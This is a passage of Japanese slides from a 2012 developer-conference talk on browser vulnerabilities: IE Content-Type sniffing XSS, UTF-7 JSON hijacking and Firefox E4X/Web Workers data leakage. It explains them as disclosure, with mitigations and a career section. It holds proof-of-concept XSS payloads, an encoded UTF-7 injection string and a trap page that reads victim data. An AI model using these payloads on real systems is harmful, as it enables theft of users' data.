  • 16. これまでに調べた脆弱性 Webブラウザ側の脆弱性 Webアプリケーション側のエスケープ漏 れより影響範囲が大きい 修正されれば大勢の人が救われる 取り組んでいる人が少ない 今すぐにでも世界トップになれる可能性も! 仕事としては成り立ちにくい Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 17. これまでに調べた脆弱性 ブラウザの知られていないような機能を用 いた攻撃 Content-Type無視によるXSS (IE) UTF-7によるJSON Hijacking (IE) Webの標準仕様を組み合わせて発生する 脆弱性 E4X + Web Workers = データ漏えい (Firefox) Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 18. Content-Type無視によるXSS (IE) IEに昔からある悪癖 Content-Type以外も含めファイルタイプを 決定 HTMLではないものがHTMLに昇格して XSSを引き起こす 例えばtext/plain Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 19. Content-Type無視によるXSS (IE) IEはContent-Type以外にも様々な要因 からファイルタイプを決定する 文書化されていない複雑なメカニズム Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 20. Content-Type無視によるXSS (IE) ファイルタイプの決定因子 "Content-Type" HTTPレスポンスヘッダ "X-Content-Type-Option" HTTPレスポ ンスヘッダ Windowsレジストリにおける関連付け IEの設定:"拡張子ではなく、内容によって ファイルを開く" URL自身 コンテンツそのもの Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 21. IEにおけるファイルタイプ決定のメカニズム Content-Typeがレジストリに登録されている? [ HKEY_CLASSES_ROOT¥MIME¥Database¥Content Type ] Y N ファイルタイプを仮決定 IE8+ && "X-Content-Type-Options:nosniff"? Y N Y 外部プラグイン/アプリが必要? プラグインを起動またはダウンロード ダウンロード N Y IE8+ && "X-Content-Type-Options:nosniff"? 仮決定したファイルタイプを使用 N 有効 コンテンツをsniffしファイルタイプを決定 「拡張子ではなく、内容によって ファイルを開く」設定値 無効 仮決定したファイルタイプを使用 URLの拡張子が "cgi" or "exe" or "dll" or "/" ? e.g. http://utf-8.jp/a.cgi?abcd, http://utf-8.jp/foo/ Y N QUERY_STRINGからファイルタイプを URLの拡張子からファイルタイプを 仮決定 仮決定 外部プラグイン/アプリが必要? 外部プラグイン/アプリが必要? N Y N Y コンテンツをsniffし プラグインを起動 コンテンツをsniffし プラグインを起動 ファイルタイプを決定 またはダウンロード ファイルタイプを決定 またはダウンロード 21 ※これ以外にも例外的な挙動が多数あり Yosuke HASEGAWA http://utf-8.jp/
  • 22. Content-Type無視によるXSS (IE) ファイルタイプ決定のメカニズムは、と にかく複雑すぎる! 50分では話し終わらない! 今回の図もずいぶん省略しています そもそも例外的な挙動が多い いつのまにか挙動が変化していることも多い Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 23. Content-Type無視によるXSS (IE) XSS実例 Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 24. Content-Type無視によるXSS (IE) https://www.microsoft.com/en-us/homepage/ bimapping.js/a.html?v=<script>alert(1)</script>&k... HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Date: Wed, 22 Jun 2011 13:53:37 GMT Content-Length: 2092 var <script>alert(1)</script>={"Webtrends":{"enabled":true,"sett ings":{"interactiontype":{"0":true,"1":true,"2":true,"3":true,"4":t rue,"5":true,"6":true,"7":true,"8":true,"9":true,"10":true,"11":tr ue,"12":true,"13".... "text/javascript" はレジストリに未登録 Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 25. Content-Type無視によるXSS (IE) Microsoftでも正しく挙動を把握できてい ない ファイルのダウンロードダイアログで表示され るファイル名の命名規則 http://support.microsoft.com/kb/436153/ja " X-Content-Type-Options:nosniff"を 必ずつける(IE8+のみ) Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 26. これまでに調べた脆弱性 ブラウザの知られていないような機能を用 いた攻撃 Content-Type無視によるXSS (IE) UTF-7によるJSON Hijacking (IE) Webの標準仕様を組み合わせて発生する 脆弱性 E4X + Web Workers = データ漏えい (Firefox) Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 27. UTF-7によるJSON Hijacking (IE) ターゲット 機密情報を含むJSON 攻撃者がJSON内の一部をコントロールできる 例えばWebメールの新着通知など JSON内の他のデータも盗み見できる JSON {"from" : "a@example.com"} Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 28. UTF-7によるJSON Hijacking (IE) [ { "name" : "abc+MPv/fwAiAH0AXQA7-var t+AD0AWwB7ACIAIg-:+ACI-", "mail" : "hasegawa@utf-8.jp" Injected by attacker }, { "name" : "John Smith", "mail" : "john@example.com" } ] ターゲットとなるJSON : http://example.com/newmail.json Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 29. UTF-7によるJSON Hijacking (IE) [ { "name" : "abc"}];var t=[{"":"", "mail" : "hasegawa@utf-8.jp" }, { "name" : "John Smith", "mail" : "john@example.com" } ] ターゲットとなるJSON : http://example.com/newmail.json Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 30. UTF-7によるJSON Hijacking (IE) 攻撃者は罠ページを準備して誘導 <script src="http://example.com/newmail.json" charset="utf-7"> <script> alert( t[ 1 ].name + t[ 1 ].mail ); </script> ターゲットとなるJSON http://example.com/newmail.json [ { "name" : "abc"}];var t=[{"":"", "abc+MPv/fwAiAH0AXQA7-var t+AD0AWwB7ACIAIg-:+ACI-", "mail" : "hasegawa@utf-8.jp" }, { "name" : "John Smith", "mail" : "john@example.com" } ] Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 31. UTF-7によるJSON Hijacking (IE) ユーザ XHR.send(…) JSON.parse(txt) JSON { "from" : "a@example.com" } Web mail Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 32. UTF-7によるJSON Hijacking (IE) <script src=“json”> 攻撃者 HTML ユーザ JSON <script src=“json”> From: "+MPv…ACI-" JSON { "from" : "+MPv/…ACI-" } Web mail Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 33. UTF-7によるJSON Hijacking (IE) 攻撃者の準備した罠ページ <script src="http://example.com/newmail.json" charset="utf-7"> こっちが優先される 攻撃者対象のJSON Content-Type: application/json; charset=utf-8 [ { "name" : "abc+MPv/fwAiAH0AXQA7-var t+AD0AWwB7ACIAIg-:+ACI-", "mail" : "hasegawa@utf-8.jp" }, { "name" : "John Smith", "mail" : "john@example.com" } ] Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 34. UTF-7によるJSON Hijacking (IE) IE6、IE7はHTTPレスポンスヘッダより <script>要素のcharsetを優先 IE8では修正されている 2008年10月に報告したが修正されない Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 35. UTF-7によるJSON Hijacking (IE)  Webアプリ側で対策 リクエストヘッダの特定文字列を確認 GET http://example.jp/foo.json HTTP/1.1 Host: example.jp Connection: keep-alive X-Request-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:8.0) JSON内の「+」を「¥u002b」にエスケープ { name : "abc¥u002bMPv/f....." }; POSTのみ受け入れる GETでのJSONへのアクセスを拒否 不正なJSONフォーマットで応答(Google方式) 受信後にJSでゴミを除去 Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 36. これまでに調べた脆弱性 ブラウザの知られていないような機能を用 いた攻撃 Content-Type無視によるXSS (IE) UTF-7によるJSON Hijacking (IE) Webの標準仕様を組み合わせて発生する 脆弱性 E4X + Web Workers = データ漏えい (Firefox) Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 37. E4X + Web Workers = データ漏えい E4Xってなに? ECMAScript for XML (ECMA-357) https://developer.mozilla.org/ja/E4X JS内に直接XMLを記述可能 Firefox、ActionScriptでサポート var s = <mail> <subject>Test mail</subject> <from>Yosuke HASEGAWA</from> <addr>hasegawa@utf-8.jp</addr> </mail> ; alert( s.subject ); Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 38. E4X + Web Workers = データ漏えい E4Xってなに? XML内にJSの記述もできる。 XML内の {....} はJavaScriptとして動作 var s = <mail> <subject>Test mail</subject> <from> { alert(1) } </from> <addr>hasegawa@utf-8.jp</addr> </mail> ; alert( s.subject ); Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 39. E4X + Web Workers = データ漏えい E4XはJavaScript 外部から読み込み可能 var s = <mail> <subject>Test mail</subject> </mail> ; <script src="e4x.js"></script> <script> alert( s.subject ); </script> Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 40. E4X + Web Workers = データ漏えい E4Xってなに? これはJavaScript? HTML? <div> { alert( "Hello, E4X World." ); } </div> <div> Hello, HTML World. </div> HTMLでもありJavaScriptでもある Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 41. E4X + Web Workers = データ漏えい 攻撃者がHTML内の2か所に文字列を挿入 可能な場合、その間のメッセージが外部 から取得可能 (以下のコードは現在のFirefoxではそのままでは動作しません) <div>{ foo( <span>秘密のメッセージ部分</span> ) } </div> <script> function foo( s ){ alert( s ); } </script> <script src="target.html"></script> Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 42. E4X + Web Workers = データ漏えい FirefoxでのE4Xによるデータ漏えい対策 XML宣言、DOCTYPE宣言のついた XML,HTMLはE4Xとして解釈不可 script srcとして読み込まれたJSが単一の XMLオブジェクトのときはエラーとしてJSを 実行しない <div>{ foo( <span>秘密のメッセージ</span> ) } </div> // JavaScriptとして動作しない var s = <div>{ foo( <span>秘密のメッセージ</span> ) } </div>; // JavaScriptとして動作する 泥臭い… Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 43. E4X + Web Workers = データ漏えい Web Workersって何? JavaScript待望のマルチスレッド機構 バックグランドで重い処理を実行 DOMとは切り離されている メイン側 var worker = new Worker( "worker.js" ); worker.onmessage = function( event ) { ... }; worker.postMessage( msg ); worker.js onmessage = function( event ){ /* 時間のかかる処理 */ postMessage( msg ); // メイン側に通知 } Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 44. E4X + Web Workers = データ漏えい Web Workersって何? new Workers( src ) は同一オリジンのみ (プロトコル、ホスト、ポートが一致すること) メイン側 var worker = new Worker( "worker.js" ); // OK var worker = new Worker( "http://utf-8.jp/w.js" ); // NG Worker内からは間接的に他オリジンのJSも 利用可能 worker.js importScripts( "http://utf-8.jp/w.js" ); // OK Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 45. E4X + Web Workers = データ漏えい FirefoxでのE4Xによるデータ漏えい対策 script srcとして読み込まれたJSが単一のXMLオブ ジェクトのときはエラーとしてJSを実行しない <div>{ foo( <span>秘密のメッセージ</span> ) } </div> // JavaScriptとして動作しない var s = <div>{ foo( <span>秘密のメッセージ</span> ) } </div>; // JavaScriptとして動作する …というのが、Web Workers のimportScripts で は効いていなかった E4XとWeb Workersを組み合わせると外部サイト のHTML内のデータを盗み見ることが可能だった Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 46. E4X + Web Workers = データ漏えい E4Xの仕様に完全準拠ではない 単一XMLオブジェクトが読み込めない 仕様通りの実装だと脆弱性を生む いったんは収まったがWeb Workersの 実装に伴い再度オープン 枯れていない新しい機能は狙い目 MFSA-2010-42で修正済み ちなみに Mozilla Security Bug Bounty Program の対象なので賞金もらいました :-) Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 47.
  • 49. なぜ脆弱性を探すのか 他の人にできないことをする 自分がやらなければいつまでも脆弱なまま パズル的な楽しさ 功名心 Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 50. なぜ脆弱性を探すのか ハードウェアエンジニア(1997年~) 電子回路の設計 小規模なソフトウェアも 産業用計測機器 発電所などでも使用 高い品質が求められる Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 51. なぜ脆弱性を探すのか 産業用計測機器の設計 高い安定性、堅牢性が要求される どのような入力でも安定して稼働 ソフトウェア、ハードウェアとも 堅牢性、安定性を脅かすバグとの戦い セキュリティ関連技術との出会い(2004年頃) Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 52. なぜ脆弱性を探すのか ソフトウェアのセキュリティ 脆弱なソフトウェアと堅牢なソフトウェアの 違い 勉強会、メーリングリスト等への参加 Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 53. なぜ脆弱性を探すのか セキュリティについて学べば学ぶほど あちこちで簡単に脆弱性がみつかる 新しい攻撃方法を考えつく 対策技術は未成熟と気付く Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 54. なぜ脆弱性を探すのか いくつか問題を見つける 「脆弱性ではなく仕様です」の回答… 影響が大きいので公にはできない 自分だけが解決されないであろう問題を抱え てしまっている閉塞感 Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 55. なぜ脆弱性を探すのか 「脆弱性ではなく仕様です」 PNGファイルがHTML扱いされXSS(IE) RLOを利用した拡張子の偽装 Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 56. なぜ脆弱性を探すのか 「脆弱性ではなく仕様です」 最近はこういう返事は聞かない 「ありがとうございます」→何年も直らない 聞かなくなった時期は、ブラウザ競争の勃発 と一致 ※個人による体感です Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 57. なぜ脆弱性を探すのか 問題を1人で抱える閉塞感 セキュリティ業界の友人からのアドバイス 「その仕様を最も悪用できる方法を思いつく ことが、世界平和の貢献につながる」 Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 59. なぜ脆弱性を探すのか 「その仕様を最も悪用できる方法を思いつ くことが、世界平和の貢献につながる」 自分なりの解釈 悪用されたときの影響度が大きいのであれば 仕様の改善を迫ることもできる むしろセキュリティを通じて「世界の平和に 貢献」という大きな視野に感銘を受ける Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 60. なぜ脆弱性を探すのか 「世界平和のため」 どうすればもっとセキュリティのために貢献 できるか セキュリティ業界への転身につながる 「セキュリティ製品を通じて社会に貢献」 Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 62. 10年後も世界で通じるエンジニアであるために Web = 標準化 + ブラウザ独自実装 標準化された機能 = 10年後も通用する 10年間成長しないつもりですか? ブラウザ独自の機能 = 10年後にはない? 独自機能を追いかけ続ける技術は 10年後も通用するはず!! CSS3 { ES }5 Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 63. 10年後も世界で通じるエンジニアであるために 未開の地を探し続ける! 誰も通っていない道を探せ! 標準化された部分はおもしろみが少ない 独自実装な部分は狙い目 CSS3 { ES }5 Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 64. 10年後も世界で通じるエンジニアであるために セキュリティな話をもっと発信して欲しい もっとみんなに発信してほしい! セキュリティ技術、日本発の話題が少ない 発信されていない情報は、世の中に存在しない のと等しい Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 65. 10年後も世界で通じるエンジニアであるために 「でも、セキュリティ界怖いし」 ちょっと間違ったことを言うと叩かれる? どうでもいい瑣末なことにこだわる? Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 66. 10年後も世界で通じるエンジニアであるために 「セキュリティ界」は怖い? 何か言われたときは、真摯に耳を傾けよう だいたい、自分が間違ってることが多い 自分自身のためにも、世界のためにも発信し てほしい! Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 67. 10年後も世界で通じるエンジニアであるために 未来のセキュリティ業界を支える人材発 掘のために、CTFコンテストやります! http://www.secco.jp/ Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 68. 10年後も世界で通じるエンジニアであるために SECCON CTF 10年後を支える人材を発掘したい Security Contest Capture The Flag 九州地区予選 - 2012/02/18-19 当面は学生を対象に、一部社会人参加もあり http://www.seccon.jp/ Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 69. 質問 hasegawa@utf-8.jp hasegawa@netagent.co.jp @hasegawayosuke http://utf-8.jp/ Developers Summit 2012 NetAgent http://www.netagent.co.jp/